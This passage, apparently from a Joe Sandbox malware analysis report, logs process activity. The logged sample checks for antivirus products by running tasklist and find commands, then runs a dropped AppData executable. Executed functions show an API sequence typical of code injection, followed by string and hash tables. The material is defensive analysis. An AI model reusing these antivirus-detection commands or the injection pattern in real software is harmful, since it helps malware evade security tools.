Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:11:20
Start date:	30/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "opssvc.exe"
Imagebase:	0x7ff6566e0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:11:20
Start date:	30/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Imagebase:	0x7ff6880f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:11:20
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:11:21
Start date:	30/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Imagebase:	0x7ff70f330000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:11:21
Start date:	30/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avastui.exe"
Imagebase:	0x7ff6566e0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:11:21
Start date:	30/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Imagebase:	0x7ff6880f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:11:21
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	13:11:21
Start date:	30/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Imagebase:	0x7ff649240000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	13:11:21
Start date:	30/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avgui.exe"
Imagebase:	0x7ff6566e0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	13:11:21
Start date:	30/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Imagebase:	0x7ff6880f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	13:11:21
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	13:11:21
Start date:	30/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Imagebase:	0x7ff649240000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	13:11:21
Start date:	30/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "nswscsvc.exe"
Imagebase:	0x7ff6566e0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	13:11:22
Start date:	30/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Imagebase:	0x7ff6880f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	13:11:22
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	13:11:23
Start date:	30/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Imagebase:	0x7ff649240000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	13:11:23
Start date:	30/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "sophoshealth.exe"
Imagebase:	0x7ff6566e0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	13:11:27
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Imagebase:	0x400000
File size:	846'325'235 bytes
MD5 hash:	6A8860A8150021B2D5B9BB707DE4FA37
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	41%
Total number of Nodes:	117
Total number of Limit Nodes:	11

Executed Functions

Function 00800770 Relevance: 12.7, APIs: 8, Instructions: 730memorynativethreadCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL(?,000F001F,00000000,?,00000040,08000000,00000000,00000000), ref: 00800809
NtMapViewOfSection.NTDLL(?,00000000), ref: 008008B1
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00800C25
NtMapViewOfSection.NTDLL(?,00000000,?,?,?,?,?,?), ref: 00800CDA
VirtualProtect.KERNEL32(?,?,00000008,?,?,?,?,?,?,?), ref: 00800CF7
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00800D9A
VirtualProtect.KERNEL32(?,?,00000002,?,?,?,?,?,?,?), ref: 00800DCD
CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 00800F3E

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID: Virtual$ProtectSection$CreateView$AllocThread
String ID:
API String ID: 1248616170-0
Opcode ID: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction ID: eddcc8a4f047834b66211c31902d4c3d1e7c5b2c064a268c71aa6b4bdaeac171
Opcode Fuzzy Hash: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction Fuzzy Hash: 7F424771608311AFDBA4CF18CC44B6ABBE9FF88714F144929F989DB291D770E944CB92

Function 007B0AC0 Relevance: 6.1, APIs: 4, Instructions: 100
threadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000004,00000000,?,?,?,?,?,007B0606,?,00000001,?,81EC8B55,000000FF), ref: 007B0AFE
Thread32First.KERNEL32(00000000,0000001C), ref: 007B0B2A
Wow64SuspendThread.KERNEL32(00000000), ref: 007B0B7D
CloseHandle.KERNEL32(00000000), ref: 007B0BA7

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID: CloseCreateFirstHandleSnapshotSuspendThreadThread32Toolhelp32Wow64
String ID:
API String ID: 1849706056-0
Opcode ID: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction ID: efbc479f83878c0f6edc737464d7e6300d66d05a97b4408a635c6061804db000
Opcode Fuzzy Hash: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction Fuzzy Hash: 5C4100B1600108EFDB18DF98C894FEEB7B6EF88304F108169E6159B794DA74AE45CB94

Function 007B03B0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 399
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,00000001,?,81EC8B55,000000FF), ref: 007B0653
TerminateProcess.KERNELBASE(000000FF,00000000), ref: 007B0947

Strings

;18>, xrefs: 007B043A

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID: CreateProcessTerminateThread
String ID: ;18>
API String ID: 1197810419-4114189899
Opcode ID: 01db8638dc9beb1a86da21c4f28cc92fffd9a77d584b18a722812e880b597604
Instruction ID: 52b06c30d3c787e03b54ac383f886ff94489c91e7cc4a4bd6100bba1a992bbc2
Opcode Fuzzy Hash: 01db8638dc9beb1a86da21c4f28cc92fffd9a77d584b18a722812e880b597604
Instruction Fuzzy Hash: 6812B0B4A00219DBDB14CF98C995BEEBBB1FF88304F2481A9D515AB385D734AA41CF94

Function 007B0970 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 007B0A3C

Strings

,, xrefs: 007B0A88

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID: ,
API String ID: 2422867632-3772416878
Opcode ID: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction ID: 629b5df11a6da26677adfada5f175a2e754569f23085508637fcb6c3902dc2ef
Opcode Fuzzy Hash: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction Fuzzy Hash: 8541D274A00209EFDB04CF98C994BAEBBB1FF88314F208598D515AB391D775AE81DF94

Function 008013EE Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000,?,?), ref: 00801480

Strings

.dll, xrefs: 00801425

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: .dll
API String ID: 1029625771-2738580789
Opcode ID: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction ID: 4a81cfde1857396f623c2daa33664ea657cde2ff049770ced8f77e2731dfb885
Opcode Fuzzy Hash: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction Fuzzy Hash: 3521E4366006958FDF61CFA9DC88A6DBBA9FF01734F18416DD841CBAA1D730EC458794

Function 00800040 Relevance: 2.8, APIs: 2, Instructions: 325
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 008000BA
VirtualFree.KERNELBASE(00000000,00000000,0000C000), ref: 008003FE

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction ID: 1647b261e3d4e7488e1a26dd8fb8b5fb1b7e9d915db6626a2517dad04040c58c
Opcode Fuzzy Hash: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction Fuzzy Hash: 70B1F331501B06EBDBA29FA4CC84BABB7E8FF09310F110529F549D6291E731E950DFA2

Non-executed Functions

Function 007C3D8D Relevance: 154.5, Strings: 122, Instructions: 1958COMMON

Download Yara Rule

Strings

0, xrefs: 007C550E
3, xrefs: 007C4F28
4, xrefs: 007C479E
C, xrefs: 007C52AE
7, xrefs: 007C4F48
L, xrefs: 007C5586
y, xrefs: 007C52DE
h, xrefs: 007C5466
T, xrefs: 007C44D6
#, xrefs: 007C5BD3
7, xrefs: 007C4D15
-, xrefs: 007C577F
", xrefs: 007C5906
1, xrefs: 007C4A71
R, xrefs: 007C5496
8, xrefs: 007C51B6
K, xrefs: 007C526E
\, xrefs: 007C5506
O, xrefs: 007C5166
D, xrefs: 007C5B27
C, xrefs: 007C4CC3
J, xrefs: 007C5556
<, xrefs: 007C4A41
v, xrefs: 007C4526
?, xrefs: 007C54FE
t, xrefs: 007C40A7
=, xrefs: 007C5186
5, xrefs: 007C4F38
}, xrefs: 007C52FE
", xrefs: 007C5A31
Q, xrefs: 007C521E
F, xrefs: 007C5536
#, xrefs: 007C435D
M, xrefs: 007C527E
D, xrefs: 007C5546
b, xrefs: 007C52A6
N, xrefs: 007C5576
, xrefs: 007C55BE
t, xrefs: 007C5236
W, xrefs: 007C524E
X, xrefs: 007C54E6
-, xrefs: 007C5CC5
[, xrefs: 007C51EE
,, xrefs: 007C5A21
?, xrefs: 007C4F08
", xrefs: 007C5CD4
%, xrefs: 007C4D1A
7, xrefs: 007C4799
^, xrefs: 007C54F6
Z, xrefs: 007C54D6
D, xrefs: 007C4CC8
#, xrefs: 007C578F
G, xrefs: 007C52CE
B, xrefs: 007C5516
', xrefs: 007C425A
P, xrefs: 007C54A6
V, xrefs: 007C54B6
E, xrefs: 007C52BE
A, xrefs: 007C529E
:, xrefs: 007C51C6
t, xrefs: 007C4A51
#, xrefs: 007C4B91
", xrefs: 007C5797
f, xrefs: 007C4891
Q, xrefs: 007C48A1
|, xrefs: 007C52F6
x, xrefs: 007C51D6
-, xrefs: 007C4B81
S, xrefs: 007C522E
Y, xrefs: 007C51DE
,, xrefs: 007C5CCA
O, xrefs: 007C528E
=, xrefs: 007C4EF8
6, xrefs: 007C4794
/, xrefs: 007C50E2
>, xrefs: 007C5176
u, xrefs: 007C4A61
#, xrefs: 007C5CCF
T, xrefs: 007C54C6
f, xrefs: 007C4506
-, xrefs: 007C58EE
E, xrefs: 007C46E3
", xrefs: 007C5BDB
,, xrefs: 007C5BCE
~, xrefs: 007C4604
@, xrefs: 007C5526
H, xrefs: 007C5566
}, xrefs: 007C45FF
a, xrefs: 007C44F6
#, xrefs: 007C58FE
`, xrefs: 007C4B11
?, xrefs: 007C5156
I, xrefs: 007C525E
U, xrefs: 007C523E
&, xrefs: 007C55AE
,, xrefs: 007C5787
%, xrefs: 007C478F
D, xrefs: 007C56E1
], xrefs: 007C51FE
-, xrefs: 007C5A19
G, xrefs: 007C51A6
), xrefs: 007C5146
X, xrefs: 007C52D6
+, xrefs: 007C555E
l, xrefs: 007C5486
D, xrefs: 007C46DE
:, xrefs: 007C46E8
_, xrefs: 007C520E
8, xrefs: 007C5196
,, xrefs: 007C58F6
x, xrefs: 007C4F60
X, xrefs: 007C52E6
6, xrefs: 007C401C
n, xrefs: 007C5476
,, xrefs: 007C4B89
1, xrefs: 007C4F18
{, xrefs: 007C4F50
", xrefs: 007C4B99
#, xrefs: 007C5A29
{, xrefs: 007C52EE
-, xrefs: 007C5BC9
$, xrefs: 007C5136

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: $"$"$"$"$"$"$#$#$#$#$#$#$#$$$%$%$&$'$)$+$,$,$,$,$,$,$-$-$-$-$-$-$/$0$1$1$3$4$5$6$6$7$7$7$8$8$:$:$<$=$=$>$?$?$?$@$A$B$C$C$D$D$D$D$D$E$E$F$G$G$H$I$J$K$L$M$N$O$O$P$Q$Q$R$S$T$T$U$V$W$X$X$X$Y$Z$[$\$]$^$_$`$a$b$f$f$h$l$n$t$t$t$u$v$x$x$y${${$|$}$}$~
API String ID: 0-2552012311
Opcode ID: a60d0d7c1f50fa8930e41d0816f0c6d686d7dd5bc90f90f0dee7d4406a5567cf
Instruction ID: ac3af63ef3957aa94ffb2891c93527f24145fe803c9e0f9f610b7818da6c82da
Opcode Fuzzy Hash: a60d0d7c1f50fa8930e41d0816f0c6d686d7dd5bc90f90f0dee7d4406a5567cf
Instruction Fuzzy Hash: 7613AA7010C7C18ED3359B38C4987AFBBE1AB96324F188A6DE1E987392D7798545CB13

Function 007E426D Relevance: 50.2, Strings: 40, Instructions: 199
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\, xrefs: 007E44EC
&, xrefs: 007E449C
2, xrefs: 007E43FC
w, xrefs: 007E4356
,, xrefs: 007E446C
8, xrefs: 007E43CC
., xrefs: 007E445C
H, xrefs: 007E436A
Z, xrefs: 007E44BC
X, xrefs: 007E44CC
$, xrefs: 007E44AC
P, xrefs: 007E434C
<, xrefs: 007E43EC
P, xrefs: 007E450C
4, xrefs: 007E442C
B, xrefs: 007E43E4
y, xrefs: 007E4374
#, xrefs: 007E4384
L, xrefs: 007E4360
^, xrefs: 007E44DC
, xrefs: 007E448C
*, xrefs: 007E443C
0, xrefs: 007E440C
A, xrefs: 007E4444
?, xrefs: 007E44C4
Q, xrefs: 007E4494
S, xrefs: 007E4504
8, xrefs: 007E44E4
6, xrefs: 007E441C
R, xrefs: 007E44FC
", xrefs: 007E447C
J, xrefs: 007E43D4
`, xrefs: 007E4342
M, xrefs: 007E43C4
>, xrefs: 007E43DC
r, xrefs: 007E4404
', xrefs: 007E43A4
_, xrefs: 007E4394
:, xrefs: 007E43BC
(, xrefs: 007E444C

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: $"$#$$$&$'$($*$,$.$0$2$4$6$8$8$:$<$>$?$A$B$H$J$L$M$P$P$Q$R$S$X$Z$\$^$_$`$r$w$y
API String ID: 0-810699627
Opcode ID: 0dca25496aefb40c577bd73c3ef91dbf49218b3d3d3069416841fbfb493506a1
Instruction ID: ba2c5450a4a12905d258c364152663ee51a8912ba663561f0d729d459970301c
Opcode Fuzzy Hash: 0dca25496aefb40c577bd73c3ef91dbf49218b3d3d3069416841fbfb493506a1
Instruction Fuzzy Hash: 9CA15C2160C7D18ED336863C885939FBEC11BE7228F094A9DD5E94B2D3CAB94509C767

Function 007E2E0D Relevance: 50.2, Strings: 40, Instructions: 199
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 007E303A
*, xrefs: 007E2FCA
8, xrefs: 007E2F5A
&, xrefs: 007E302A
Z, xrefs: 007E304A
6, xrefs: 007E2FAA
., xrefs: 007E2FEA
P, xrefs: 007E2EDA
8, xrefs: 007E3072
0, xrefs: 007E2F9A
X, xrefs: 007E305A
B, xrefs: 007E2F72
J, xrefs: 007E2F62
`, xrefs: 007E2ED0
Q, xrefs: 007E3022
?, xrefs: 007E3052
H, xrefs: 007E2EF8
", xrefs: 007E300A
#, xrefs: 007E2F12
:, xrefs: 007E2F4A
2, xrefs: 007E2F8A
<, xrefs: 007E2F7A
,, xrefs: 007E2FFA
y, xrefs: 007E2F02
w, xrefs: 007E2EE4
, xrefs: 007E301A
L, xrefs: 007E2EEE
', xrefs: 007E2F32
r, xrefs: 007E2F92
R, xrefs: 007E308A
4, xrefs: 007E2FBA
M, xrefs: 007E2F52
S, xrefs: 007E3092
^, xrefs: 007E306A
\, xrefs: 007E307A
>, xrefs: 007E2F6A
P, xrefs: 007E309A
(, xrefs: 007E2FDA
A, xrefs: 007E2FD2
_, xrefs: 007E2F22

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: $"$#$$$&$'$($*$,$.$0$2$4$6$8$8$:$<$>$?$A$B$H$J$L$M$P$P$Q$R$S$X$Z$\$^$_$`$r$w$y
API String ID: 0-810699627
Opcode ID: 65bdd9a008074facf1bd4fdb788f66b981c574430443fbea6f4c089478d32145
Instruction ID: 885a581642a4e9196a7745ecba385f67a2e370340fbe3f58930cbfaa5efd527f
Opcode Fuzzy Hash: 65bdd9a008074facf1bd4fdb788f66b981c574430443fbea6f4c089478d32145
Instruction Fuzzy Hash: 40A16C2160C7C18EE336863C885979FBEC11BE7228F094A9DD5ED4B3D3CAB945098767

Function 007D5B5D Relevance: 30.4, Strings: 24, Instructions: 444
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

~CzM, xrefs: 007D62FC
_-l/, xrefs: 007D5CA6
Y)[+, xrefs: 007D5F77
H9K;, xrefs: 007D5CC7
L=J?, xrefs: 007D5CD2
6, xrefs: 007D615F
IL, xrefs: 007D5BD5
no, xrefs: 007D66A3
,", xrefs: 007D61AC
L=O?, xrefs: 007D5FAE
]_, xrefs: 007D5DF6
L5N7, xrefs: 007D5F98
u5F7, xrefs: 007D5CBC
P!V#, xrefs: 007D5F61
AA, xrefs: 007D6538
C1p3, xrefs: 007D5F8D
U%U', xrefs: 007D5F6C
J9, xrefs: 007D6543
HI, xrefs: 007D652D
N], xrefs: 007D5BF6
y9J;, xrefs: 007D5FA3
]U, xrefs: 007D5EBC
\O, xrefs: 007D5EC7
BQ, xrefs: 007D5EB1

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: 6$AA$BQ$C1p3$H9K;$HI$IL$J9$L5N7$L=J?$L=O?$N]$P!V#$U%U'$Y)[+$\O$]U$_-l/$no$u5F7$y9J;$~CzM$,"$]_
API String ID: 0-123358818
Opcode ID: 601b82f3b377eb178924fc19cebe0935ebb80a18eddd83e46e00c14e17d6623f
Instruction ID: efdc17103b69d2c7cd82840888e713a324ae237f9c55908527b9f5075c7e2867
Opcode Fuzzy Hash: 601b82f3b377eb178924fc19cebe0935ebb80a18eddd83e46e00c14e17d6623f
Instruction Fuzzy Hash: 29420DB160C7858AD334CF25D842B8FBAF2FB92304F108D2DC1D96B256D775864A8B97

Function 007E94CF Relevance: 26.5, Strings: 21, Instructions: 285
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

N, xrefs: 007E957D
!, xrefs: 007E95F5
i, xrefs: 007E9605
\, xrefs: 007E95B5
2, xrefs: 007E95E5
x, xrefs: 007E94E9
{, xrefs: 007E94F7
>, xrefs: 007E95ED
{, xrefs: 007E9521
., xrefs: 007E96E4
T, xrefs: 007E9595
>, xrefs: 007E96B5
o, xrefs: 007E9505
>, xrefs: 007E9513
(, xrefs: 007E96DC
1, xrefs: 007E95DD
<, xrefs: 007E96AC
,, xrefs: 007E96EC
", xrefs: 007E95FD
m, xrefs: 007E952F
4, xrefs: 007E95D5

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: !$"$($,$.$1$2$4$<$>$>$>$N$T$\$i$m$o$x${${
API String ID: 0-517395136
Opcode ID: 46bb1e59e615ea8ce5a0fd337a0a7328b367431f255ab176fcc811a5e727279b
Instruction ID: 632a1d75d9ba737673d470d004fb8310cfd99f2c94be0c81f605744d5f53361e
Opcode Fuzzy Hash: 46bb1e59e615ea8ce5a0fd337a0a7328b367431f255ab176fcc811a5e727279b
Instruction Fuzzy Hash: 62D180219087D98EDB22CA7C88483CDBFA15B27324F1843D9C5E96B3D3C775498ADB52

Function 007C26D0 Relevance: 15.8, Strings: 12, Instructions: 834
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

%, xrefs: 007C2F88
=, xrefs: 007C2999
i, xrefs: 007C2EE5
y, xrefs: 007C284A
s, xrefs: 007C2EED
', xrefs: 007C2BA6
L, xrefs: 007C26E3
?, xrefs: 007C273A
L, xrefs: 007C273F
VN , xrefs: 007C2D70
q, xrefs: 007C30C8
`, xrefs: 007C2D45

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID: %$'$=$?$L$L$VN $`$i$q$s$y
API String ID: 0-3939372272
Opcode ID: 912b535f60824265e9b666ca36e6950ec4b6729cdaf48b2711bd08b7feea76c1
Instruction ID: b4c5d83776ecbfde2c0dd0750cc8e1d08c90ffaa773300b68478ee20708ca47a
Opcode Fuzzy Hash: 912b535f60824265e9b666ca36e6950ec4b6729cdaf48b2711bd08b7feea76c1
Instruction Fuzzy Hash: F162D572A0C7908BD724DF3884957AEBBD1AFD5320F198A2DD4E9D73C2D63889458B43

Function 007C0B69 Relevance: 14.6, Strings: 11, Instructions: 843
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 007C1172
i, xrefs: 007C1038
Y, xrefs: 007C1433
Q, xrefs: 007C0F52
n, xrefs: 007C0CB2
d, xrefs: 007C12E8
|, xrefs: 007C1423
o, xrefs: 007C12F0
w, xrefs: 007C1223
X, xrefs: 007C142B
;, xrefs: 007C0B7C

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
